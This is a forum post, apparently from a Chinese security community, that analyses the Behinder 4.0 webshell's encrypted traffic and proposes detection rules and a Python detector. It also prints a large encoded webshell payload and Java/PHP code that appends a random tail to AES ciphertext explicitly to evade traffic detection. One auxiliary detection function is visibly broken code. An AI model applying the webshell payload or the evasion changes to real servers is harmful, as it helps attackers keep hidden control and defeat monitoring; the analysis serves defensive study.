hc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg==";
    21. $content=base64_decode($content);
    22. main($content);
    复制代码

在这一次内容传输结束之后,冰蝎确认被攻击端与本地可以建立传输,才会发第二次包,也就是执行 phpinfo() 命令,代码略。
接着

  •         • 4、服务端对 Payload 执行结果进行加密,然后返回给本地客户端;
  •         • 5、客户端收到响应密文后,利用解密算法解密,得到响应内容明文。
响应内容略,在上文中已经提到过。
由上述流程可知,一个完整的传输协议由两部分组成,本地协议和远程协议。由于客户端使用 Java 开发,因此本地协议的加解密算法需要用 Java 实现。远程协议根据服务端语言类型,可能为 Java、PHP、C#、ASP。无论用哪种语言,同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密。
如下是一个最简单的 php 版本的传输协议:
编辑
传输协议的加解密函数名称分别为 Encrypt 和 Decrypt,且都只有一个入参,参数类型为二进制字节流。这也就是为什么在 shell.php 中存在一个 Decrypt() 函数,且每一次的发包中有 encrypt() 函数的原因。如此一来就实现了这一个条件 ———— 本地有一对加解密的函数,由 Java 编写;远程端(受攻击端)存在一对加解密的函数,由对应远程端的语言决定,如果是 php 就是由 php 编写,若是 asp 就由 asp 编写(亲测如此)
针对冰蝎 xor_base64 的检测脚本编写内容是基于 LiRiu 师傅的文章写的

  •         • 我认为的脚本编写,不应该是针对某个 User-Agent 或者是 Payload 开头等进行单一的判断,为了很多正常请求的通过,这些判断一定是需要综合考虑的。
因此合理的方式应该是记分的,判断恶意性的大小。我们先来看冰蝎在第二次连接的时候,也就是请求 phpinfo() 时的包
针对一些 HTTP 头的检测
编辑
HTTP 请求头
它的几个 Accept 头通常是固定的,所以这里可以作为一个主判断点
Accept: application/json, text/javascript, */*; q=0.01Accept-Encoding: identityAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
有的师傅说冰蝎 4.0 当中的 UA 是十选一的,我觉得这里占比相当小,并不需要将 UA 加入进判断规则当中。
Content-Length 较大
Content-Length: 8244
可以作为辅助特征进行检测。
冰蝎通讯默认使用长连接
造成的影响是包中存在如下 HTTP 头,可以作为辅助特征进行检测。
Connection: Keep-Alive
端口检测
冰蝎与 webshell 建立连接的同时,javaw 也与目的主机建立 tcp 连接,每次连接使用本地端口在 49700 左右,每连接一次,每建立一次新的连接,端口就依次增加。此处可以对符合该范围内的端口告警。
针对恶意脚本内容的检测
冰蝎 shell 当中的恶意 php 脚本,头都是一样的,以 @error_reporting 开头
@error_reporting(0);  function main
编辑
所以对于这一段,个人认为是可以作为主要检测规则的,所以此处需要先写一个 xor_base64,单纯检测恶意脚本的 python 程序如下
  1. from base64 import b64decode

  2. phrases = [
  3.     "assert|eval(base64_decode('".encode(),
  4.     b'<?\n@error_reporting(0);\n\nfunctio',
  5.     b'<?\nfunction main($action, $remot',
  6.     b'<?\n@error_reporting(0);\nset_time',
  7.     b'\nerror_reporting(0);\n\nfunction m',
  8.     b'<?\n@error_reporting(0);\n\n\nfuncti',
  9.     b'<?\nerror_reporting(0);\nfunction ',
  10.     b'@error_reporting(0);\nfunction ma',
  11.     b'<?php\n\n$taskResult = array();\n$p',
  12.     b"<?\nerror_reporting(0);\nheader('C",
  13.     b'@error_reporting(0);\n\nfunction g',
  14.     b'<?\n@error_reporting(0);\n@set_tim',
  15. ]

  16. def xor(l0, l1):
  17.     ret = [chr(ord(chr(a)) ^ ord(chr(b))) for a,b in zip(l0,l1)]
  18.     return "".join(ret)
  19.         

  20. def check(cipher):
  21.     cipher = b64decode(cipher)
  22.     for phrase in phrases:
  23.         p0 = phrase[0:16]
  24.         p1 = phrase[16:]
  25.         
  26.         c0 = cipher[0:16]
  27.         c1 = cipher[16:16+len(p1)]

  28.         k0 = xor(p0, c0)
  29.         k1 = xor(p1, c1)

  30.         if k1 in k0:
  31.             return k0
  32.     return None

  33. cipher = "..."
  34. HeaderData = "..."

  35. key = check(cipher)
  36. if key:
  37.     print("[+]", cipher[:32], "is XOR Behinder Request!")
  38.     print("[+] The Key of Behinder is ", key)
  39. else:
  40.     print("[-]", cipher[:32], "not Behinder Request..")
复制代码

接着加上辅助判断
def auxiliaryPoints(HeaderData):      # 辅助判断的函数    evilPoint = 0    list = []    LightBlacklist = [        b'Accept: application/json, text/javascript, */*; q=0.01',        b'Accept-Encoding: identity',        b'Connection: Keep-Alive',    ]    for temp in HeaderData:        list.append(temp)    lenData = 0    while lenData <= HeaderData.length():        if(list[lenData].contains(LightBlacklist)):            evilPoint = evilPoint + 10    return evilPoint
编辑
LiRiu 师傅的可以,但是我自己的包失败了。。
冰蝎马的改写与绕过 tips冰蝎作者提出了一种非常巧妙的绕过方式,也就是在 AES 加密的时候增加一个小尾巴,这个尾巴存在自定义的可能性,也就让很多设备难以进行检测了。
加密算法
本地默认的 aes 传输协议加密算法如下:
  1. private byte[] Encrypt(byte[] data) throws Exception
  2.     {
  3.         String key="e45e329feb5d925b";
  4.         byte[] raw = key.getBytes("utf-8");
  5.         javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
  6.         javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
  7.         cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
  8.         byte[] encrypted = cipher.doFinal(data);
  9.         Class baseCls;
  10.         try
  11.         {
  12.             baseCls=Class.forName("java.util.Base64");
  13.             Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
  14.             encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
  15.         }
  16.         catch (Throwable error)
  17.         {
  18.             baseCls=Class.forName("sun.misc.BASE64Encoder");
  19.             Object Encoder=baseCls.newInstance();
  20.             String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
  21.             result=result.replace("\n", "").replace("\r", "");
  22.             encrypted=result.getBytes();
  23.         }
  24.         return encrypted;
  25.     }
复制代码

服务端是 PHP,使用默认的 aes 算法,但是由于默认使用的是 aes128 的算法,会导致密文长度恒是 16 的整数倍,流量设备可能通过这个特征来对冰蝎做流量识别,我现在想对默认算法做一个简单修改,在密文最后最加一个 magic 尾巴,随机产生一个随机长度的额外字节数组
修改后本地
  1. private byte[] Encrypt(byte[] data) throws Exception
  2. {
  3.     String key="e45e329feb5d925b";
  4.     byte[] raw = key.getBytes("utf-8");
  5.     javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
  6.     javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
  7.     cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
  8.     byte[] encrypted = cipher.doFinal(data);
  9.     Class baseCls;
  10.     try
  11.     {
  12.         baseCls=Class.forName("java.util.Base64");
  13.         Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
  14.         encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
  15.     }
  16.     catch (Throwable error)
  17.     {
  18.         baseCls=Class.forName("sun.misc.BASE64Encoder");
  19.         Object Encoder=baseCls.newInstance();
  20.         String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
  21.         result=result.replace("\n", "").replace("\r", "");
  22.         encrypted=result.getBytes();
  23.     }
  24.     //增加魔法尾巴
  25.     int magicNum=Integer.parseInt(key.substring(0,2),16)%16;
  26.     java.util.Random random=new java.util.Random();
  27.     byte[] buf=new byte[magicNum];
  28.     for (int i=0;i<buf.length;i++)
  29.     {
  30.         buf[i]=(byte)random.nextInt(256);
  31.     }
  32.     java.io.ByteArrayOutputStream output = new java.io.ByteArrayOutputStream();
  33.     output.write(encrypted);
  34.     output.write(buf);
  35.     return output.toByteArray();
  36. }
复制代码

远程
由于我们目前假设的是一个 PHP 的目标环境,远程加密函数采用 PHP 格式编写,如下:
function Encrypt($data)  {      $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond      $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));      $magicNum=hexdec(substr($key,0,2))%16; //根据密钥动态确定魔法尾巴的长度      for($i=0;$i<$magicNum;$i++) {          $encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴      }      return $encrypted;  }
解密算法
在加密算法中,我们在原版 aes 的基础上,在密文最后追加了一段魔法尾巴,尾巴长度为秘钥的前两位十六进制对应的数值对 16 取模的值。在解密时,我们只需要在原版 aes 解密函数的基础上,把密文最后的尾巴截掉即可。分别对 Java 版本和 PHP 版本的解密函数做修改。
本地
private byte[] Decrypt(byte[] data) throws Exception{    String k="e45e329feb5d925b";    int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail长度    data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail    javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));    byte[] decodebs;    Class baseCls ;            try{                baseCls=Class.forName("java.util.Base64");                Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);                decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});            }            catch (Throwable e)            {                baseCls = Class.forName("sun.misc.BASE64Decoder");                Object Decoder=baseCls.newInstance();                decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});            }    return c.doFinal(decodebs);}
远程
function Decrypt($data)  {      $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond      $magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度      $data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail      return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);  }
从理论上来说,这一种方式也可以绕过 xor_base64 的检测
0x05 小结对于冰蝎 4.0 版本的分析大部分还是由自己独立完成,在还没有看作者写的内容的时候就意识到了传输协议的本质,冰蝎 4.0 写的确实非常厉害。
而在作者的文章当中也提供了很有启发性的思维 ———— 尽量以算法的方式改写冰蝎的攻击
0x06 Reference


https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A https://liriu.life/PHP-5ba36e



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 03:52 , Processed in 0.015262 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表